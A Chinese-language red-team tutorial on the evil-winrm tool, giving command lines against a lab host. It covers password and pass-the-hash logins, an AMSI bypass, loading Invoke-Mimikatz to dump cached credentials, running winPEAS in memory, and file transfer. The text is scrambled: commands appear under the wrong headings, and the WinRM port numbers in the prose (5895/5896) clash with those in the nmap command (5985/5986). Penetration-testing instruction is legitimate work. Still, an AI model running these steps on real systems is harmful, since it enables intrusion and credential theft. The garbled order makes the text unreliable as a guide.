红队神器-Evil-Winrm详细使用指南
Winrm 服务发现
正如上文提到的那样,如果在远程主机中启用了 Winrm 服务,则会联想到使用 evil-winrm 工具。为了确认目标系统是否开启了winrm服务,我们可以使用 nmap 查找两个默认的 winrm 服务端口 5895 和 5896 是否打开。从 nmap 扫描结果中,我们发现 winrm 服务已启用,因此我们可以使用 evil-winrm 工具进行登录并执行我们将在横向阶段探索的其他任务。
nmap -p 5985,5986 192.168.1.19
evil-winrm -h
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987
Evil-winrm help命令帮助
要列出 evil-winrm 的所有可用的功能,我们可以简单地使用 -h 标志,它将列出所有带有描述的帮助命令。
使用纯文本密码登录
假设我们在账户枚举阶段获得了明文密码,并且注意到远程主机启用了 winrm 服务,我们可以使用 evil-winrm 在目标系统上进行远程会话,使用方法是带有 -i 参数的目标系统IP地址、带有 -u 参数的目标系统用户名,带有 -p 参数的目标系统密码。如下图所示,我们可以看到已经建立了一个远程 PowerShell 会话。
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -S
使用纯文本密码登录 - 启用 SSL
正如上文提到的那样,winrm 服务可通过 HTTP 协议传输流量,然后我们可以使用安全套接字层 (SSL) 功能来确保连接安全。一旦启用 SSL 功能,我们的数据将通过加密的安全套接字层进行传输。使用 evil-winrm,我们可以使用 -S 参数来建立与远程主机的安全传输的命令。
evil-winrm -i 192.168.1.19 -u administrator -H 32196B56FFE6F45E294117B91A83BF38
使用 NTLM Hash 登录 - 通过哈希攻击
在内网渗透或解决任何与 Windows 权限提升和 Active Directory 利用相关的项目中,我们经常通过各种攻击方法获得 NTLM 哈希值。如果我们在 Windows 内网环境中,我们可以利用 evil-winrm 通过执行传递哈希攻击来建立 PowerShell 会话,这样可以将哈希作为密码而不是使用纯文本密码进行远程登陆。除此之外,这种攻击还支持其他协议。传递哈希我们可以使用 -H 参数。
加载 Powershell 脚本
Evil-winrm 还提供了一项允许我们使用来自目标主机自带的powershell脚本的功能。可以直接将脚本加载到内存中,我们可以使用带有 -s 参数接目标系统的powershell脚本的相对路径。此外,该工具还提供了我们在导入任何脚本之前经常需要用到的 AMSI 功能。在下面的示例中,我们将绕过 AMSI 功能,直接从系统中调用 Invoke-Mimiktz.ps1 脚本到目标主机中并将其加载到内存中。之后,可以使用 mimikatz 命令。本次出于演示目的,我们直接从缓存中转储了系统登陆凭据。转储凭据后,我们可以再次使用获得的 NTLM 哈希进行哈希传递攻击。
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l
使用 Evil-winrm 存储日志
此功能表示在获取远程会话后,将执行命令的日志保存到我们的本地系统中。我们在平时做项目时,都需要攻击凭据,以便进行后续报告输出。可以使用 -l 参数将将所有日志保存到我们的主机系统中,默认保存到/root/evil-winrm-logs目录中。在下面的示例中,我们可以同时使用了 ipconfig 命令并将命令输出信息保存到主机系统中。
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N
可以通过检查保存的日志内容来验证是否存将命令日志输出存储成功,可以看到已经存储了我们上文命令输出的日志信息。
禁用远程完整路径功能
默认情况下,该工具带有远程完整路径功能,但如果我们希望禁用远程路径完整功能,我们可以在命令中使用 -N 参数。这取决于个人是否喜欢打开或关闭路径完整功能,但如果您对自动完整路功能感到满意,则可以随意使用其默认功能。
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N
禁用彩色界面
每当我们使用 evil-winrm 建立任何远程会话时,都会生成一个漂亮的彩色命令行界面。尽管如此,如果我们希望禁用彩色界面功能,那么我们也可以在建立会话时使用 -n 参数来禁用该功能。
运行可执行文件
此功能旨在解决我们在进行 PowerShell 会话时在评估期间遇到的实时问题和困难,我们不能将其放到命令行中。在这种情况下,我们希望能够在 evil-winrm 会话中运行 exe 可执行文件。假设我们有一个要在目标系统中运行的可执行文件。
evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc
Bypass-4MSI
menu
Invoke-Binary /opt/privsc/winPEASx64.exe
Hackplayers 团队再次设计了该工具并添加了一个额外的功能,可以在 evil-winrm PowerShell 会话中运行所有可执行文件。同样,我们可以使用 -e 参数来执行 exe 可执行二进制文件。在下面的示例中,其中 WinPEAS.exe 可执行文件存储在本地计算机 /opt/privsc 目录中,并使用附加功能(evil-winrm 菜单中的 Invoke-Binary 命令)来运行它。此功能允许我们执行在命令行 shell 中运行的任何 exe 二进制文件。
一旦我们设置了可执行文件路径,我们就可以使用我们希望在目标系统中运行的任何可执行文件。在下面的示例中,我们调用 WinPEASx64.exe 并使用 evil-winrm 将其运行到目标系统中。
使用 Evil-winrm 进行服务查询
有时后渗透测试工具,无法检测到目标系统中运行的服务名称。在这种情况下,我们可以使用 evil-winrm 来查找目标系统中运行的服务名称。为此,我们可以再次转到菜单并使用服务功能。它将列出所有运行程序主机的服务。
使用 Evil-winrm 进行文件传输
毫无疑问,evil-winrm 已尽最大努力使我们的使用尽可能地简单。我们总是需要将文件从攻击机器传输到远程机器以执行其命令操作。而 evil-winrm 工具提供的一项非常实用的功能,尤其是在我们面对目标系统中设置的出站流量规则以及我们将 evil-winrm 与代理一起使用时的情况下。在下面的示例中,我们将 /root 目录中的 notes.txt 文件上传到目标系统中。
download notes.txt /root/raj/notes.txt
docker run --rm -ti --name evil-winrm oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987'
文件从目标系统下载到攻击者的机器上。同样,我们可以使用下面命令进行下载:
从 Docker 使用 Evil-winrm
此工具也可以安装在 docker 中。如果我们在安装到 evil-winrm 的 docker 中,那么我们也可以从 docker 中调用它。它将像在主系统中一样运行。为此,请遵循 docker 语法以及 evil-winrm 命令从 docker 调用它。
evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S
使用 Evil-winrm 密钥登录
Evil-winrm 还允许我们使用公钥和私钥建立远程会话,使用带有 -k 的参数跟私钥,以及带有 -c 的参数跟公钥,此外,我们还可以添加 -S 参数来启用 SSL 来使我们的连接加密和安全。